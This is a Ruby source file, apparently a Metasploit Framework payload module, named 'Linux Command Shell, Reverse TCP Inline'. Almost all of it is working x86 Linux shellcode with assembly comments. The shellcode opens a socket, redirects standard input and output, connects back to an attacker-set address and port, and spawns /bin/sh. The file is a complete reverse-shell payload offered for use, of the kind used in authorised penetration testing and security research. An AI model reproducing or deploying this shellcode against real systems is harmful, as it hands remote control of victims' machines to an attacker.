76 lines
2.8 KiB
Ruby
76 lines
2.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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CachedSize = 68
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include Msf::Payload::Single
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include Msf::Payload::Linux
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Command Shell, Reverse TCP Inline',
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'Description' => 'Connect back to attacker and spawn a command shell',
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'Author' => 'Ramon de C Valle',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::ReverseTcp,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' =>
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{
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'Offsets' =>
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{
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'LHOST' => [ 25, 'ADDR' ],
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'LPORT' => [ 32, 'n' ],
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},
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'Payload' =>
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"\x31\xdb" +# xor ebx,ebx
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"\xf7\xe3" +# mul ebx
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"\x53" +# push ebx
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"\x43" +# inc ebx
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"\x53" +# push ebx
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"\x6a\x02" +# push byte +0x2
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"\x89\xe1" +# mov ecx,esp
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"\xb0\x66" +# mov al,0x66
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"\xcd\x80" +# int 0x80
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"\x93" +# xchg eax,ebx
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"\x59" +# pop ecx
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"\xb0\x3f" +# mov al,0x3f
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"\xcd\x80" +# int 0x80
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"\x49" +# dec ecx
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"\x79\xf9" +# jns 0x11
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"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
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"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
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"\x89\xe1" +# mov ecx,esp
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"\xb0\x66" +# mov al,0x66
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"\x50" +# push eax
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"\x51" +# push ecx
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"\x53" +# push ebx
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"\xb3\x03" +# mov bl,0x3
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"\x89\xe1" +# mov ecx,esp
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"\xcd\x80" +# int 0x80
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"\x52" +# push edx
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"\x68\x2f\x2f\x73\x68" +# push dword 0x68732f2f
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"\x68\x2f\x62\x69\x6e" +# push dword 0x6e69622f
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"\x89\xe3" +# mov ebx,esp
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"\x52" +# push edx
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"\x53" +# push ebx
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"\x89\xe1" +# mov ecx,esp
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"\xb0\x0b" +# mov al,0xb
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"\xcd\x80" # int 0x80
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}
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))
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end
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end
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